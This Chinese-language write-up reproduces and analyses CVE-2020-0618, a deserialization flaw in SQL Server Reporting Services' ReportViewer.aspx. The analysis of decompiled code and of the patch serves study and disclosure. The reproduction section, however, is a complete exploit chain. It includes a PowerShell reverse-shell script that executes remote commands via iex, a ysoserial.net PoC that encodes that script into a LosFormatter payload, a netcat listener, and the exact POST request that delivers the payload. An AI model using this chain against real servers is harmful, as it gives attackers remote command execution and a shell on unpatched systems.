CVE-2020-0618 复现&分析

 

漏洞复现

环境:

  • Windows 10
  • SQL Server 2016(需安装 Reporting Services 模块)

在复现之前我们需要手动创建一个分页报表,如何创建报表本文不再赘述
这里我创建了一个名为 test 的分页报表

SQL Server 安装完毕后服务就已经自动启动
访问 http://localhost/ReportServer 就可以看到 Reporting Services 已经启动:

点击 test 可以看到创建好的报表:

漏洞的路径为 /ReportServer/Pages/ReportViewer.aspx
所以访问 http://localhost/ReportServer/Pages/ReportViewer.aspx:

在 ReportViewer.aspx 中存在反序列化漏洞,可以进行反弹 shell

Powershell 反弹 shell 的脚本如下:

$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1", 8888); #开启TCP连接
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | % {0}; #建立一个长度为65535的byte数组作为buffer,初值都设为0
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { #当收到数据长度不等于零时进行循环
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i); #得到shell命令
    $sendback = (iex $data 2>&1 | Out-String); #执行命令,并把标准输出和标准错误输出都转为字符串存储在$sendback
    $sendback2 = $sendback + "PS " + (pwd).Path + "> "; #加上目录
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); #把$sendback2转为byte数组
    $stream.Write($sendbyte, 0, $sendbyte.Length); #发送数据
    $stream.Flush(); #刷新
}
$client.Close(); #关闭连接

用 Powershell 写出 POC 脚本
使用了 ysoserial.net 工具生成序列化 payload,并复制到剪贴板
ysoserial.net 的下载地址在:https://github.com/pwntester/ysoserial.net
POC 如下:

$command = '$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",8888);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip
echo 'Payload is pasted to clipboard.'

这时使用 nc 监听本地 8888 端口:

nc -lvp 8888

需要发送以下 HTTP 请求来进行攻击:

POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: X

NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=[Payload]&__VIEWSTATE=

这里使用 Postman 发送 POST 请求(需要在 Authorization 处进行 NTLM 验证)

即可得到 shell:

 

漏洞分析

前置知识

网页使用的是 ASP.NET 技术
ASP.NET 支持三种不同的开发模式:Web Pages、MVC、Web Forms

使用 Web Forms 模式时会自动启用 ViewState 来保留表单数据
通常使用 LosFormatter 来序列化和反序列化 ViewState

而这个页面使用的就是 Web Forms 模式
漏洞就是 LosFormatter 反序列化引起的命令执行

源代码分析

前端

ReportViewer.aspx 页面的源代码如下:

<div id="NavigationCorrector" style="display:none;">
  <input type="hidden" name="NavigationCorrector$ScrollPosition" id="NavigationCorrector_ScrollPosition" />
  <input type="hidden" name="NavigationCorrector$ViewState" id="NavigationCorrector_ViewState" />
  <input
    type="hidden"
    name="NavigationCorrector$PageState"
    id="NavigationCorrector_PageState"
    value="NeedsCorrection"
  />
  <div id="NavigationCorrector_ctl00">
    <input type="hidden" name="NavigationCorrector$NewViewState" id="NavigationCorrector_NewViewState" />
  </div>
</div>

其中有四个 type 为 hidden 的 input
他们的 name 分别是NavigationCorrector$ScrollPositionNavigationCorrector$ViewStateNavigationCorrector$PageStateNavigationCorrector$NewViewState

所以我们才可以传入NavigationCorrector$ViewStateNavigationCorrector$PageState 参数来实现命令执行

那么为什么在网页中会出现这些隐藏的 input 呢,我们来看后端的代码

后端

漏洞文件是 ReportingServicesWebServer.dll
在 SQL Server 的安装目录中可以找到
使用 .NET Reflector 来反编译 ReportingServicesWebServer.dll

其中漏洞函数是 Microsoft.Reporting.WebForms.BrowserNavigationCorrector.OnLoad 方法
在搜索框里搜索就能定位到这个方法
方法的源代码如下:

protected override void OnLoad(EventArgs e)
{
    base.OnLoad(e);
    this.EnsureChildControls();
    if (this.Page.IsPostBack && string.Equals(this.m_pageState.Value, "NeedsCorrection", StringComparison.Ordinal))
    {
        string str = this.m_viewerViewState.Value;
        if (!string.IsNullOrEmpty(str))
        {
            LosFormatter formatter = new LosFormatter();
            object viewState = null;
            try
            {
                viewState = formatter.Deserialize(str);
            }
            catch (Exception exception1)
            {
                object[] objArray = new object[] { str, exception1.ToString() };
                RSTrace.get_UITracer().TraceException(TraceLevel.Warning, "Failed to rebuild the custom ViewState object. \n- Serialized ViewState: \"{0}\". \n- Exception: {1}", objArray);
            }
            if (viewState != null)
            {
                ((IPublicViewState) this.m_viewer).LoadViewState(viewState);
            }
        }
    }
}

可以看到在方法的一开始先调用了 EnsureChildControls 方法
双击函数名进行跟进:

protected virtual void EnsureChildControls()
{
    if (!this.ChildControlsCreated && !this.flags[0x100])
    {
        this.flags.Set(0x100);
        try
        {
            this.ResolveAdapter();
            if (this._adapter != null)
            {
                this._adapter.CreateChildControls();
            }
            else
            {
                this.CreateChildControls();
            }
            this.ChildControlsCreated = true;
        }
        finally
        {
            this.flags.Clear(0x100);
        }
    }
}

可以看出这个函数是的功能是确保 ChildControls 开启
而开启需要调用 CreateChildControls 方法
再次双击函数名跟进:

protected override void CreateChildControls()
{
    this.Controls.Clear();
    base.CreateChildControls();
    this.m_scrollPosition = new HiddenField();
    this.m_scrollPosition.ID = "ScrollPosition";
    this.Controls.Add(this.m_scrollPosition);
    this.m_viewerViewState = new HiddenField(); //定义隐藏控件
    this.m_viewerViewState.ID = "ViewState";
    this.Controls.Add(this.m_viewerViewState);
    this.m_pageState = new HiddenField();
    this.m_pageState.ID = "PageState";
    this.Controls.Add(this.m_pageState);
    this.m_updatePanel = new UpdatePanel();
    this.Controls.Add(this.m_updatePanel);
    this.m_asyncPostBackViewState = new HiddenField();
    this.m_asyncPostBackViewState.ID = "NewViewState";
    this.m_updatePanel.ContentTemplateContainer.Controls.Add(this.m_asyncPostBackViewState);
}

this.m_viewerViewState = new HiddenField(); 这样的语句定义了 m_viewerViewState、m_pageState 等隐藏控件
这就是为什么网页里会出现隐藏的 input

再回到漏洞函数:

protected override void OnLoad(EventArgs e)
{
    base.OnLoad(e);
    this.EnsureChildControls();

    //如果m_pageState(即传入的NavigationCorrector$PageState参数)的值为NeedsCorrection则向下执行
    if (this.Page.IsPostBack && string.Equals(this.m_pageState.Value, "NeedsCorrection", StringComparison.Ordinal))
    {
        //定义str为m_viewerViewState(即传入的NavigationCorrector$ViewState参数)的值
        string str = this.m_viewerViewState.Value;
        if (!string.IsNullOrEmpty(str))
        {
            //实例化一个LosFormatter对象
            LosFormatter formatter = new LosFormatter();
            object viewState = null;
            try
            {
                //对传入的NavigationCorrector$ViewState参数直接进行反序列化
                viewState = formatter.Deserialize(str);
            }
            catch (Exception exception1)
            {
                object[] objArray = new object[] { str, exception1.ToString() };
                RSTrace.get_UITracer().TraceException(TraceLevel.Warning, "Failed to rebuild the custom ViewState object. \n- Serialized ViewState: \"{0}\". \n- Exception: {1}", objArray);
            }
            if (viewState != null)
            {
                ((IPublicViewState) this.m_viewer).LoadViewState(viewState);
            }
        }
    }
}

好了,漏洞函数的漏洞是如何产生的已经搞清楚了
那么看看这个函数在哪里被调用了

BrowserNavigationCorrector 类在 Microsoft.ReportingServices.WebServer.ReportViewerPage 类的 OnInit 方法中被调用:

protected override void OnInit(EventArgs e)
{
    base.OnInit(e);
    ReportViewerHost reportViewer = this.ReportViewer;
    reportViewer.EnableHybrid = this.ShowHybrid;
    if (reportViewer != null)
    {
        PageRequestManagerErrorHandler child = new PageRequestManagerErrorHandler();
        reportViewer.Parent.Controls.AddAt(reportViewer.Parent.Controls.IndexOf(reportViewer), child);
        BrowserNavigationCorrector corrector = reportViewer.CreateNavigationCorrector();
        reportViewer.Parent.Controls.AddAt(reportViewer.Parent.Controls.IndexOf(reportViewer), corrector);
    }
}

而这个类就是处理 ReportViewer.aspx 页面的
所以在 ReportViewer.aspx 中出现了漏洞
而且是 OnInit 方法,页面中的调用顺序也是最高的

 

后续补丁

微软在后续补丁中开启了 LosFormatter 的 MAC 验证来修复该漏洞

将漏洞函数的这一语句:

LosFormatter losFormatter = new LosFormatter();

改为:

LosFormatter losFormatter = new LosFormatter(true, this.m_viewer.GetUserId());

在微软的官方文档里可以看到 LosFormatter 类的构造函数的不同使用方法:

第一种是默认的不开启 MAC 验证
而第二三种开启了 MAC 验证

(完)